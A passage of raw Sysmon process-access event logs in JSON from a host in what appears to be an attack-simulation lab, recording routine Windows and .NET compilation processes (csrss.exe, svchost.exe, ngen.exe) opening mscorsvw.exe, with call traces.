C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001066F30A00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001086990B00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001086990B00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.119\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-00103A4D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.119","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-00103A4D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-00103A4D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-00103A4D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010349D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010349D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.166\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001073A00B00}\r\nTargetProcessId: 3908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.166","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001073A00B00}","TargetProcessId":"3908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001073A00B00}\r\nTargetProcessId: 3908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001073A00B00}","TargetProcessId":"3908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.182\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001073A00B00}\r\nTargetProcessId: 3908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.182","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001073A00B00}","TargetProcessId":"3908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00104CA40B00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 